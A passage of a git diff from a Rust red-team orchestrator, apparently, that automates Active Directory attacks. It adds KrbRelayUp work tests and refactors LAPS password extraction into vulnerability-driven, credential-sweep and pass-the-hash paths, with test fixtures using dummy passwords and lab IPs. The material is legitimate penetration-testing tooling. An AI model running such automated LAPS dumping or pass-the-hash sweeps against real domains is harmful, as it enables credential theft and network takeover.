`host.hostname` with a domain suffix before dispatch + // becomes eligible. + let mut state = StateInner::new("test-op".into()); + state.hosts.push(make_host("192.168.58.30", "ws01", false)); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .discovered_vulnerabilities + .insert("v1".into(), make_ldap_vuln()); + let work = collect_krbrelayup_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_skips_when_no_cred_for_host_domain() { + // A host in fabrikam.local with only a contoso.local credential + // should be skipped, not paired with the cross-forest cred. + let mut state = StateInner::new("test-op".into()); + state + .hosts + .push(make_host("192.168.58.31", "srv01.fabrikam.local", false)); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .discovered_vulnerabilities + .insert("v1".into(), make_ldap_vuln()); + let work = collect_krbrelayup_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_multiple_non_dc_hosts() { + let mut state = StateInner::new("test-op".into()); + state + .hosts + .push(make_host("192.168.58.30", "srv01.contoso.local", false)); + state + .hosts + .push(make_host("192.168.58.31", "srv02.fabrikam.local", false)); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .credentials + .push(make_credential("svcacct", "Svc!Pass1", "fabrikam.local")); // pragma: allowlist secret + state + .discovered_vulnerabilities + .insert("v1".into(), make_ldap_vuln()); + let work = collect_krbrelayup_work(&state); + assert_eq!(work.len(), 2); + } + + #[test] + fn dedup_key_format() { + let key = format!("krbrelayup:{}", "192.168.58.22"); + assert_eq!(key, "krbrelayup:192.168.58.22"); + } + + #[test] + fn dedup_set_name() { + assert_eq!(DEDUP_KRBRELAYUP, "krbrelayup"); + } + + #[test] + fn ldap_signing_vuln_types() { + let types = ["ldap_signing_disabled", "ldap_signing_not_required"]; + for t in &types { + let vtype = t.to_lowercase(); + assert!( + vtype == "ldap_signing_disabled" || vtype == "ldap_signing_not_required", + "{t} should match LDAP weak signing" + ); + } + } + + #[test] + fn non_ldap_vuln_types_rejected() { + let types = ["smb_signing_disabled", "mssql_access"]; + for t in &types { + let vtype = t.to_lowercase(); + assert!( + vtype != "ldap_signing_disabled" && vtype != "ldap_signing_not_required", + "{t} should NOT match LDAP weak signing" + ); + } + } + + #[test] + fn domain_from_hostname() { + let hostname = "srv01.contoso.local"; + let domain = hostname + .find('.') + .map(|i| hostname[i + 1..].to_lowercase()) + .unwrap_or_default(); + assert_eq!(domain, "contoso.local"); + } + + #[test] + fn payload_structure_validation() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "admin".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + + let payload = serde_json::json!({ + "technique": "krbrelayup", + "target_ip": "192.168.58.30", + "hostname": "srv01.contoso.local", + "domain": "contoso.local", + "credential": { + "username": cred.username, + "password": cred.password, + "domain": cred.domain, + }, + }); + + assert_eq!(payload["technique"], "krbrelayup"); + assert_eq!(payload["target_ip"], "192.168.58.30"); + assert_eq!(payload["hostname"], "srv01.contoso.local"); + assert_eq!(payload["domain"], "contoso.local"); + assert_eq!(payload["credential"]["username"], "admin"); + assert_eq!(payload["credential"]["password"], "P@ssw0rd!"); // pragma: allowlist secret + assert_eq!(payload["credential"]["domain"], "contoso.local"); + } + + #[test] + fn work_struct_construction() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "testuser".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + + let work = KrbRelayUpWork { + dedup_key: "krbrelayup:192.168.58.30".into(), + target_ip: "192.168.58.30".into(), + hostname: "srv01.contoso.local".into(), + domain: "contoso.local".into(), + credential: cred, + }; + + assert_eq!(work.dedup_key, "krbrelayup:192.168.58.30"); + assert_eq!(work.target_ip, "192.168.58.30"); + assert_eq!(work.hostname, "srv01.contoso.local"); + assert_eq!(work.domain, "contoso.local"); + assert_eq!(work.credential.username, "testuser"); + } + + #[test] + fn ldap_signing_not_enforced_matches() { + let vtype = "ldap_signing_not_enforced".to_lowercase(); + // The code checks for "ldap_signing_disabled" or "ldap_signing_not_required" + let matches = vtype == "ldap_signing_disabled" || vtype == "ldap_signing_not_required"; + assert!( + !matches, + "ldap_signing_not_enforced should NOT match the specific vuln types" + ); + } + + #[test] + fn non_matching_vuln_types() { + let types = [ + "esc1", + "smb_signing_disabled", + "unconstrained_delegation", + "mssql_access", + ]; + for t in &types { + let vtype = t.to_lowercase(); + assert!( + vtype != "ldap_signing_disabled" && vtype != "ldap_signing_not_required", + "{t} should NOT match LDAP weak signing" + ); + } + } + + #[test] + fn domain_from_bare_hostname() { + let hostname = "ws01"; + let domain = hostname + .find('.') + .map(|i| hostname[i + 1..].to_lowercase()) + .unwrap_or_default(); + assert_eq!(domain, ""); + } + + #[test] + fn domain_from_fabrikam_host() { + let hostname = "srv01.fabrikam.local"; + let domain = hostname + .find('.') + .map(|i| hostname[i + 1..].to_lowercase()) + .unwrap_or_default(); + assert_eq!(domain, "fabrikam.local"); + } +} diff --git a/ares-cli/src/orchestrator/automation/laps.rs b/ares-cli/src/orchestrator/automation/laps.rs index a807cb57..bb74f095 100644 --- a/ares-cli/src/orchestrator/automation/laps.rs +++ b/ares-cli/src/orchestrator/automation/laps.rs @@ -16,6 +16,7 @@ use tokio::sync::watch; use tracing::{info, warn}; use crate::orchestrator::dispatcher::Dispatcher; +use crate::orchestrator::state::StateInner; /// Dedup key prefix for LAPS extraction. const DEDUP_LAPS: &str = "laps_extract"; @@ -26,6 +27,219 @@ fn is_laps_candidate(vuln_type: &str) -> bool { vtype == "laps_abuse" || vtype == "laps_reader" || vtype == "laps" } +/// Path 1: Vulnerability-driven LAPS — BloodHound or an ACL probe surfaced an +/// explicit LAPS-reader principal. Match the principal to a known credential +/// and emit one work item per (unexploited, unprocessed) LAPS vulnerability. +/// +/// Filters mirror the inline path: `is_laps_candidate` vuln types, +/// not-yet-exploited, not-yet-dispatched, and the principal must be present in +/// `state.credentials` (we lack auth material to act on a name we can't +/// authenticate as). Splits out so the per-vuln field extraction can be unit +/// tested without spinning a Dispatcher. +fn collect_laps_vuln_work(state: &StateInner) -> Vec { + let mut items = Vec::new(); + for vuln in state.discovered_vulnerabilities.values() { + if !is_laps_candidate(&vuln.vuln_type) { + continue; + } + if state.exploited_vulnerabilities.contains(&vuln.vuln_id) { + continue; + } + let dedup_key = format!("{DEDUP_LAPS}:vuln:{}", vuln.vuln_id); + if state.is_processed(DEDUP_LAPS, &dedup_key) { + continue; + } + + let reader = vuln + .details + .get("source") + .or_else(|| vuln.details.get("account_name")) + .or_else(|| vuln.details.get("reader")) + .and_then(|v| v.as_str()); + + let domain = vuln + .details + .get("domain") + .and_then(|v| v.as_str()) + .unwrap_or(""); + + let target_computer = vuln + .details + .get("target") + .or_else(|| vuln.details.get("target_computer")) + .and_then(|v| v.as_str()) + .unwrap_or(""); + + let credential = reader.and_then(|r| { + state + .credentials + .iter() + .find(|c| { + c.username.to_lowercase() == r.to_lowercase() + && (domain.is_empty() || c.domain.to_lowercase() == domain.to_lowercase()) + }) + .cloned() + }); + + if let Some(cred) = credential { + let dc_ip = state + .domain_controllers + .get(&domain.to_lowercase()) + .cloned(); + items.push(LapsWork { + dedup_key, + domain: domain.to_string(), + dc_ip, + target_computer: if target_computer.is_empty() { + None + } else { + Some(target_computer.to_string()) + }, + credential: cred, + nt_hash: None, + vuln_id: Some(vuln.vuln_id.clone()), + }); + } + } + items +} + +/// Path 2: Domain-wide LAPS sweep — try each plaintext credential against its +/// domain's DC to read LAPS for every computer. Mirrors the hash-fallback +/// sweep filters (`collect_laps_hash_sweep_work`) so the same principal is +/// never dispatched twice across both paths. +fn collect_laps_sweep_work(state: &StateInner) -> Vec { + let mut items = Vec::new(); + for cred in state.credentials.iter().filter(|c| { + !c.domain.is_empty() + && !c.password.is_empty() + && !state.is_delegation_account(&c.username) + && !state.is_principal_quarantined(&c.username, &c.domain) + }) { + let dedup_key = format!( + "{DEDUP_LAPS}:sweep:{}:{}", + cred.domain.to_lowercase(), + cred.username.to_lowercase() + ); + if state.is_processed(DEDUP_LAPS, &dedup_key) { + continue; + } + let dc_ip = state + .domain_controllers + .get(&cred.domain.to_lowercase()) + .cloned(); + if dc_ip.is_none() { + continue; + } + items.push(LapsWork { + dedup_key, + domain: cred.domain.clone(), + dc_ip, + target_computer: None, + credential: cred.clone(), + nt_hash: None, + vuln_id: None, + }); + } + items +} + +/// Domain-wide LAPS sweep via NTLM hash (pass-the-hash) — a LAPS-reader +/// principal may only exist in `state.hashes` (e.g. surfaced by +/// secretsdump on the DC) without a plaintext password. Treat each NTLM +/// hash as a sweep credential; downstream `laps_dump` routes to +/// `netexec -H` instead of `-p`. +/// +/// Filters mirror Path 2 (plaintext sweep) so a principal already +/// dispatched via password isn't re-dispatched via hash and vice versa: +/// * empty domain — can't pick a DC +/// * non-NTLM hash — `netexec -H` expects NTLM +/// * empty hash value +/// * delegation accounts — reserved for S4U, spraying causes lockout +/// * quarantined principals — currently locked out +/// * already-processed dedup key — sweep was dispatched on a prior tick +/// * no DC IP known for the domain — defer until probe finds one +fn collect_laps_hash_sweep_work(state: &StateInner) -> Vec { + let mut items = Vec::new(); + for h in state.hashes.iter().filter(|h| { + !h.domain.is_empty() + && h.hash_type.to_lowercase() == "ntlm" + && !h.hash_value.is_empty() + && !state.is_delegation_account(&h.username) + && !state.is_principal_quarantined(&h.username, &h.domain) + }) { + // Same dedup key namespace as plaintext sweep so we don't + // re-dispatch for a principal we already covered via password. + let dedup_key = format!( + "{DEDUP_LAPS}:sweep:{}:{}", + h.domain.to_lowercase(), + h.username.to_lowercase() + ); + if state.is_processed(DEDUP_LAPS, &dedup_key) { + continue; + } + + let dc_ip = state + .domain_controllers + .get(&h.domain.to_lowercase()) + .cloned(); + if dc_ip.is_none() { + continue; + } + + items.push(LapsWork { + dedup_key, + domain: h.domain.clone(), + dc_ip, + target_computer: None, + credential: ares_core::models::Credential { + id: String::new(), + username: h.username.clone(), + password: String::new(), + domain: h.domain.clone(), + source: "hash_fallback".into(), + discovered_at: None, + is_admin: false, + parent_id: None, + attack_step: 0, + }, + nt_hash: Some(h.hash_value.clone()), + vuln_id: None, + }); + } + items +} + +/// Build the dispatch payload for a `laps_dump` work item. Splits out so +/// the optional-field assembly (nt_hash for PTH, dc_ip, target_computer, +/// vuln_id) can be unit-tested without spinning a Dispatcher. +fn build_laps_payload(item: &LapsWork) -> serde_json::Value { + let mut payload = json!({ + "technique": "laps_dump", + "domain": item.domain, + "credential": { + "username": item.credential.username, + "password": item.credential.password, + "domain": item.credential.domain, + }, + }); + + if let Some(ref hash) = item.nt_hash { + payload["nt_hash"] = json!(hash); + } + if let Some(ref dc) = item.dc_ip { + payload["target_ip"] = json!(dc); + payload["dc_ip"] = json!(dc); + } + if let Some(ref comp) = item.target_computer { + payload["target_computer"] = json!(comp); + } + if let Some(ref vid) = item.vuln_id { + payload["vuln_id"] = json!(vid); + } + payload +} + /// Monitors for LAPS-readable hosts and dispatches password extraction. /// Interval: 45s. Runs after initial credential discovery to avoid wasting /// unauthenticated cycles. @@ -56,111 +270,15 @@ pub async fn auto_laps_extraction( continue; } - // Two paths to LAPS: + // Three paths to LAPS: // 1. Vuln-driven: BloodHound/ACL analysis found explicit LAPS read access - // 2. Domain-wide: try each credential against the DC to read LAPS for all - // computers (netexec ldap -M laps) - - let mut items = Vec::new(); - - // Path 1: Vulnerability-driven LAPS (specific reader identified) - for vuln in state.discovered_vulnerabilities.values() { - if !is_laps_candidate(&vuln.vuln_type) { - continue; - } - if state.exploited_vulnerabilities.contains(&vuln.vuln_id) { - continue; - } - - let dedup_key = format!("{DEDUP_LAPS}:vuln:{}", vuln.vuln_id); - if state.is_processed(DEDUP_LAPS, &dedup_key) { - continue; - } - - let reader = vuln - .details - .get("source") - .or_else(|| vuln.details.get("account_name")) - .or_else(|| vuln.details.get("reader")) - .and_then(|v| v.as_str()); - - let domain = vuln - .details - .get("domain") - .and_then(|v| v.as_str()) - .unwrap_or(""); - - let target_computer = vuln - .details - .get("target") - .or_else(|| vuln.details.get("target_computer")) - .and_then(|v| v.as_str()) - .unwrap_or(""); - - // Find credential for the reader - let credential = reader - .and_then(|r| { - state.credentials.iter().find(|c| { - c.username.to_lowercase() == r.to_lowercase() - && (domain.is_empty() - || c.domain.to_lowercase() == domain.to_lowercase()) - }) - }) - .cloned(); - - if let Some(cred) = credential { - let dc_ip = state - .domain_controllers - .get(&domain.to_lowercase()) - .cloned(); - - items.push(LapsWork { - dedup_key, - domain: domain.to_string(), - dc_ip, - target_computer: if target_computer.is_empty() { - None - } else { - Some(target_computer.to_string()) - }, - credential: cred, - vuln_id: Some(vuln.vuln_id.clone()), - }); - } - } - - // Path 2: Domain-wide LAPS sweep (one per domain+credential) - for cred in state.credentials.iter().filter(|c| { - !c.domain.is_empty() - && !c.password.is_empty() - && !state.is_delegation_account(&c.username) - && !state.is_credential_quarantined(&c.username, &c.domain) - }) { - let dedup_key = format!( - "{DEDUP_LAPS}:sweep:{}:{}", - cred.domain.to_lowercase(), - cred.username.to_lowercase() - ); - if state.is_processed(DEDUP_LAPS, &dedup_key) { - continue; - } - - let dc_ip = state - .domain_controllers - .get(&cred.domain.to_lowercase()) - .cloned(); - - if dc_ip.is_some() { - items.push(LapsWork { - dedup_key, - domain: cred.domain.clone(), - dc_ip, - target_computer: None, - credential: cred.clone(), - vuln_id: None, - }); - } - } + // 2. Domain-wide sweep: try each plaintext credential against the DC + // to read LAPS for all computers (netexec ldap -M laps) + // 3. Hash-fallback sweep: same as #2 but pass-the-hash when only an + // NTLM hash is available for a candidate principal. + let mut items = collect_laps_vuln_work(&state); + items.extend(collect_laps_sweep_work(&state)); + items.extend(collect_laps_hash_sweep_work(&state)); // Limit to avoid spamming let limit = if dispatcher.config.strategy.is_comprehensive() { @@ -172,26 +290,7 @@ pub async fn auto_laps_extraction( }; for item in work { - let mut payload = json!({ - "technique": "laps_dump", - "domain": item.domain, - "credential": { - "username": item.credential.username, - "password": item.credential.password, - "domain": item.credential.domain, - }, - }); - - if let Some(ref dc) = item.dc_ip { - payload["target_ip"] = json!(dc); - payload["dc_ip"] = json!(dc); - } - if let Some(ref comp) = item.target_computer { - payload["target_computer"] = json!(comp); - } - if let Some(ref vid) = item.vuln_id { - payload["vuln_id"] = json!(vid); - } + let payload = build_laps_payload(&item); let priority = dispatcher.effective_priority("laps"); match dispatcher @@ -229,6 +328,10 @@ struct LapsWork { dc_ip: Option, target_computer: Option, credential: ares_core::models::Credential, + /// Pass-the-hash material when no plaintext password is available. When + /// `Some`, the dispatch payload sets `nt_hash` and downstream `laps_dump` + /// routes to `netexec -H` instead of `-p`. + nt_hash: Option, vuln_id: Option, } @@ -301,4 +404,516 @@ mod tests { ); assert_eq!(dedup_key, "laps_extract:sweep:contoso.local:svc_admin"); } + + // collect_laps_hash_sweep_work + + fn ntlm_hash(username: &str, domain: &str, value: &str) -> ares_core::models::Hash { + ares_core::models::Hash { + id: String::new(), + username: username.into(), + hash_value: value.into(), + hash_type: "NTLM".into(), + domain: domain.into(), + cracked_password: None, + source: "test".into(), + discovered_at: None, + parent_id: None, + attack_step: 0, + aes_key: None, + is_previous: false, + source_host: None, + is_trust_key: false, + trust_pair_label: None, + } + } + + fn state_with_dc(domain: &str, dc_ip: &str) -> StateInner { + let mut s = StateInner::new("op-test".into()); + s.domain_controllers + .insert(domain.to_lowercase(), dc_ip.into()); + s + } + + #[test] + fn laps_hash_sweep_emits_work_item_for_valid_ntlm_hash() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.hashes + .push(ntlm_hash("alice", "contoso.local", "abcd1234")); + + let work = collect_laps_hash_sweep_work(&s); + assert_eq!(work.len(), 1); + let item = &work[0]; + assert_eq!(item.domain, "contoso.local"); + assert_eq!(item.dc_ip.as_deref(), Some("192.168.58.10")); + assert_eq!(item.nt_hash.as_deref(), Some("abcd1234")); + assert_eq!(item.credential.username, "alice"); + assert_eq!(item.credential.password, ""); + assert_eq!(item.credential.source, "hash_fallback"); + assert!(item.vuln_id.is_none()); + assert!(item.target_computer.is_none()); + assert_eq!(item.dedup_key, "laps_extract:sweep:contoso.local:alice"); + } + + #[test] + fn laps_hash_sweep_skips_empty_domain() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.hashes.push(ntlm_hash("alice", "", "abcd1234")); + assert!(collect_laps_hash_sweep_work(&s).is_empty()); + } + + #[test] + fn laps_hash_sweep_skips_non_ntlm_hash_type() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + let mut h = ntlm_hash("alice", "contoso.local", "abcd1234"); + h.hash_type = "aes256".into(); + s.hashes.push(h); + assert!(collect_laps_hash_sweep_work(&s).is_empty()); + } + + #[test] + fn laps_hash_sweep_skips_empty_hash_value() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.hashes.push(ntlm_hash("alice", "contoso.local", "")); + assert!(collect_laps_hash_sweep_work(&s).is_empty()); + } + + #[test] + fn laps_hash_sweep_skips_when_no_dc_for_domain() { + // No DC registered for the domain — defer until host scan finds it. + let mut s = StateInner::new("op-test".into()); + s.hashes + .push(ntlm_hash("alice", "contoso.local", "abcd1234")); + assert!(collect_laps_hash_sweep_work(&s).is_empty()); + } + + #[test] + fn laps_hash_sweep_skips_quarantined_principal() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.hashes + .push(ntlm_hash("alice", "contoso.local", "abcd1234")); + s.quarantine_principal("alice", "contoso.local"); + assert!(collect_laps_hash_sweep_work(&s).is_empty()); + } + + #[test] + fn laps_hash_sweep_skips_delegation_account() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + // Register the principal as a constrained-delegation account so + // `is_delegation_account` returns true for it. + let mut details = std::collections::HashMap::new(); + details.insert( + "account_name".into(), + serde_json::Value::String("svc_web".into()), + ); + s.discovered_vulnerabilities.insert( + "vuln-deleg".into(), + ares_core::models::VulnerabilityInfo { + vuln_id: "vuln-deleg".into(), + vuln_type: "constrained_delegation".into(), + target: "192.168.58.10".into(), + discovered_by: "test".into(), + discovered_at: chrono::Utc::now(), + details, + recommended_agent: String::new(), + priority: 1, + }, + ); + s.hashes + .push(ntlm_hash("svc_web", "contoso.local", "abcd1234")); + assert!(collect_laps_hash_sweep_work(&s).is_empty()); + } + + #[test] + fn laps_hash_sweep_skips_already_processed_dedup_key() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.hashes + .push(ntlm_hash("alice", "contoso.local", "abcd1234")); + s.mark_processed(DEDUP_LAPS, "laps_extract:sweep:contoso.local:alice".into()); + assert!(collect_laps_hash_sweep_work(&s).is_empty()); + } + + #[test] + fn laps_hash_sweep_normalizes_case_in_dedup_lookup() { + // Hash carries mixed-case domain/username but the DC lookup and + // dedup key go through `.to_lowercase()` — the work item is still + // emitted. + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.hashes + .push(ntlm_hash("Alice", "CONTOSO.LOCAL", "abcd1234")); + let work = collect_laps_hash_sweep_work(&s); + assert_eq!(work.len(), 1); + assert_eq!(work[0].dedup_key, "laps_extract:sweep:contoso.local:alice"); + } + + #[test] + fn laps_hash_sweep_emits_one_item_per_eligible_hash() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.hashes + .push(ntlm_hash("alice", "contoso.local", "abcd1234")); + s.hashes.push(ntlm_hash("bob", "contoso.local", "deadbeef")); + let work = collect_laps_hash_sweep_work(&s); + assert_eq!(work.len(), 2); + } + + // build_laps_payload + + fn work_item(nt_hash: Option<&str>) -> LapsWork { + LapsWork { + dedup_key: "laps_extract:sweep:contoso.local:alice".into(), + domain: "contoso.local".into(), + dc_ip: Some("192.168.58.10".into()), + target_computer: None, + credential: ares_core::models::Credential { + id: String::new(), + username: "alice".into(), + password: "P@ssw0rd!".into(), + domain: "contoso.local".into(), + source: "test".into(), + discovered_at: None, + is_admin: false, + parent_id: None, + attack_step: 0, + }, + nt_hash: nt_hash.map(str::to_string), + vuln_id: None, + } + } + + #[test] + fn build_laps_payload_omits_nt_hash_when_password_only() { + let payload = build_laps_payload(&work_item(None)); + assert_eq!(payload["technique"], "laps_dump"); + assert_eq!(payload["domain"], "contoso.local"); + assert_eq!(payload["credential"]["username"], "alice"); + assert_eq!(payload["credential"]["password"], "P@ssw0rd!"); + assert!(payload.get("nt_hash").is_none()); + assert_eq!(payload["target_ip"], "192.168.58.10"); + assert_eq!(payload["dc_ip"], "192.168.58.10"); + } + + #[test] + fn build_laps_payload_includes_nt_hash_for_pth() { + let payload = build_laps_payload(&work_item(Some("abcd1234"))); + assert_eq!(payload["nt_hash"], "abcd1234"); + // Other fields stay intact. + assert_eq!(payload["technique"], "laps_dump"); + assert_eq!(payload["dc_ip"], "192.168.58.10"); + } + + #[test] + fn build_laps_payload_includes_optional_target_computer_and_vuln_id() { + let mut item = work_item(None); + item.target_computer = Some("ws01.contoso.local".into()); + item.vuln_id = Some("vuln-laps-1".into()); + let payload = build_laps_payload(&item); + assert_eq!(payload["target_computer"], "ws01.contoso.local"); + assert_eq!(payload["vuln_id"], "vuln-laps-1"); + } + + #[test] + fn build_laps_payload_omits_dc_ip_when_unknown() { + let mut item = work_item(None); + item.dc_ip = None; + let payload = build_laps_payload(&item); + assert!(payload.get("target_ip").is_none()); + assert!(payload.get("dc_ip").is_none()); + } + + // collect_laps_vuln_work + + fn vuln_with_details( + vuln_id: &str, + vuln_type: &str, + details: Vec<(&str, &str)>, + ) -> ares_core::models::VulnerabilityInfo { + let mut map = std::collections::HashMap::new(); + for (k, v) in details { + map.insert(k.into(), serde_json::Value::String(v.into())); + } + ares_core::models::VulnerabilityInfo { + vuln_id: vuln_id.into(), + vuln_type: vuln_type.into(), + target: String::new(), + discovered_by: "test".into(), + discovered_at: chrono::Utc::now(), + details: map, + recommended_agent: String::new(), + priority: 5, + } + } + + fn plaintext_cred( + username: &str, + domain: &str, + password: &str, + ) -> ares_core::models::Credential { + ares_core::models::Credential { + id: String::new(), + username: username.into(), + password: password.into(), + domain: domain.into(), + source: "test".into(), + discovered_at: None, + is_admin: false, + parent_id: None, + attack_step: 0, + } + } + + #[test] + fn laps_vuln_work_emits_item_when_reader_credential_known() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.discovered_vulnerabilities.insert( + "vuln-laps-1".into(), + vuln_with_details( + "vuln-laps-1", + "laps_reader", + vec![ + ("source", "alice"), + ("domain", "contoso.local"), + ("target", "ws01.contoso.local"), + ], + ), + ); + s.credentials + .push(plaintext_cred("alice", "contoso.local", "P@ss!")); + + let work = collect_laps_vuln_work(&s); + assert_eq!(work.len(), 1); + let item = &work[0]; + assert_eq!(item.vuln_id.as_deref(), Some("vuln-laps-1")); + assert_eq!(item.domain, "contoso.local"); + assert_eq!(item.dc_ip.as_deref(), Some("192.168.58.10")); + assert_eq!(item.target_computer.as_deref(), Some("ws01.contoso.local")); + assert_eq!(item.credential.username, "alice"); + assert!(item.nt_hash.is_none()); + assert_eq!(item.dedup_key, "laps_extract:vuln:vuln-laps-1"); + } + + #[test] + fn laps_vuln_work_falls_back_to_account_name_then_reader() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.discovered_vulnerabilities.insert( + "vuln-1".into(), + vuln_with_details( + "vuln-1", + "laps", + vec![("account_name", "bob"), ("domain", "contoso.local")], + ), + ); + s.credentials + .push(plaintext_cred("bob", "contoso.local", "P@ss!")); + assert_eq!(collect_laps_vuln_work(&s).len(), 1); + + // `reader` key works too + s.discovered_vulnerabilities.clear(); + s.discovered_vulnerabilities.insert( + "vuln-2".into(), + vuln_with_details( + "vuln-2", + "laps_abuse", + vec![("reader", "bob"), ("domain", "contoso.local")], + ), + ); + assert_eq!(collect_laps_vuln_work(&s).len(), 1); + } + + #[test] + fn laps_vuln_work_skips_non_laps_vulnerability() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.discovered_vulnerabilities.insert( + "vuln-x".into(), + vuln_with_details( + "vuln-x", + "rbcd", + vec![("source", "alice"), ("domain", "contoso.local")], + ), + ); + s.credentials + .push(plaintext_cred("alice", "contoso.local", "P@ss!")); + assert!(collect_laps_vuln_work(&s).is_empty()); + } + + #[test] + fn laps_vuln_work_skips_already_exploited() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.discovered_vulnerabilities.insert( + "vuln-done".into(), + vuln_with_details( + "vuln-done", + "laps_reader", + vec![("source", "alice"), ("domain", "contoso.local")], + ), + ); + s.credentials + .push(plaintext_cred("alice", "contoso.local", "P@ss!")); + s.exploited_vulnerabilities.insert("vuln-done".into()); + assert!(collect_laps_vuln_work(&s).is_empty()); + } + + #[test] + fn laps_vuln_work_skips_already_processed_dedup_key() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.discovered_vulnerabilities.insert( + "vuln-p".into(), + vuln_with_details( + "vuln-p", + "laps_reader", + vec![("source", "alice"), ("domain", "contoso.local")], + ), + ); + s.credentials + .push(plaintext_cred("alice", "contoso.local", "P@ss!")); + s.mark_processed(DEDUP_LAPS, "laps_extract:vuln:vuln-p".into()); + assert!(collect_laps_vuln_work(&s).is_empty()); + } + + #[test] + fn laps_vuln_work_skips_when_reader_principal_has_no_credential() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.discovered_vulnerabilities.insert( + "vuln-orphan".into(), + vuln_with_details( + "vuln-orphan", + "laps_reader", + vec![("source", "ghost"), ("domain", "contoso.local")], + ), + ); + // No credential for "ghost" — item must not be emitted. + assert!(collect_laps_vuln_work(&s).is_empty()); + } + + #[test] + fn laps_vuln_work_target_computer_falls_back_to_target_field() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.discovered_vulnerabilities.insert( + "vuln-tgt".into(), + vuln_with_details( + "vuln-tgt", + "laps_reader", + vec![ + ("source", "alice"), + ("domain", "contoso.local"), + ("target", "ws07.contoso.local"), + ], + ), + ); + s.credentials + .push(plaintext_cred("alice", "contoso.local", "P@ss!")); + let work = collect_laps_vuln_work(&s); + assert_eq!( + work[0].target_computer.as_deref(), + Some("ws07.contoso.local") + ); + } + + #[test] + fn laps_vuln_work_target_computer_none_when_unspecified() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.discovered_vulnerabilities.insert( + "vuln-no-tgt".into(), + vuln_with_details( + "vuln-no-tgt", + "laps_reader", + vec![("source", "alice"), ("domain", "contoso.local")], + ), + ); + s.credentials + .push(plaintext_cred("alice", "contoso.local", "P@ss!")); + assert!(collect_laps_vuln_work(&s)[0].target_computer.is_none()); + } + + // collect_laps_sweep_work + + #[test] + fn laps_sweep_emits_item_for_plaintext_credential_with_dc() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.credentials + .push(plaintext_cred("alice", "contoso.local", "P@ss!")); + let work = collect_laps_sweep_work(&s); + assert_eq!(work.len(), 1); + let item = &work[0]; + assert_eq!(item.credential.username, "alice"); + assert_eq!(item.dedup_key, "laps_extract:sweep:contoso.local:alice"); + assert!(item.nt_hash.is_none()); + assert!(item.vuln_id.is_none()); + assert!(item.target_computer.is_none()); + } + + #[test] + fn laps_sweep_skips_empty_password() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.credentials + .push(plaintext_cred("alice", "contoso.local", "")); + assert!(collect_laps_sweep_work(&s).is_empty()); + } + + #[test] + fn laps_sweep_skips_empty_domain() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.credentials.push(plaintext_cred("alice", "", "P@ss!")); + assert!(collect_laps_sweep_work(&s).is_empty()); + } + + #[test] + fn laps_sweep_skips_when_no_dc_for_domain() { + let mut s = StateInner::new("op-test".into()); + s.credentials + .push(plaintext_cred("alice", "contoso.local", "P@ss!")); + assert!(collect_laps_sweep_work(&s).is_empty()); + } + + #[test] + fn laps_sweep_skips_quarantined_principal() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.credentials + .push(plaintext_cred("alice", "contoso.local", "P@ss!")); + s.quarantine_principal("alice", "contoso.local"); + assert!(collect_laps_sweep_work(&s).is_empty()); + } + + #[test] + fn laps_sweep_skips_delegation_account() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + let mut details = std::collections::HashMap::new(); + details.insert( + "account_name".into(), + serde_json::Value::String("svc_web".into()), + ); + s.discovered_vulnerabilities.insert( + "vuln-deleg".into(), + ares_core::models::VulnerabilityInfo { + vuln_id: "vuln-deleg".into(), + vuln_type: "constrained_delegation".into(), + target: "192.168.58.10".into(), + discovered_by: "test".into(), + discovered_at: chrono::Utc::now(), + details, + recommended_agent: String::new(), + priority: 1, + }, + ); + s.credentials + .push(plaintext_cred("svc_web", "contoso.local", "P@ss!")); + assert!(collect_laps_sweep_work(&s).is_empty()); + } + + #[test] + fn laps_sweep_skips_already_processed_dedup_key() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.credentials + .push(plaintext_cred("alice", "contoso.local", "P@ss!")); + s.mark_processed(DEDUP_LAPS, "laps_extract:sweep:contoso.local:alice".into()); + assert!(collect_laps_sweep_work(&s).is_empty()); + } + + #[test] + fn laps_sweep_emits_one_item_per_eligible_credential() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.credentials + .push(plaintext_cred("alice", "contoso.local", "P@ss!")); + s.credentials + .push(plaintext_cred("bob", "contoso.local", "p2")); + assert_eq!(collect_laps_sweep_work(&s).len(), 2); + } } diff --git a/ares-cli/src/orchestrator/automation/ldap_signing.rs b/ares-cli/src/orchestrator/automation/ldap_signing.rs new 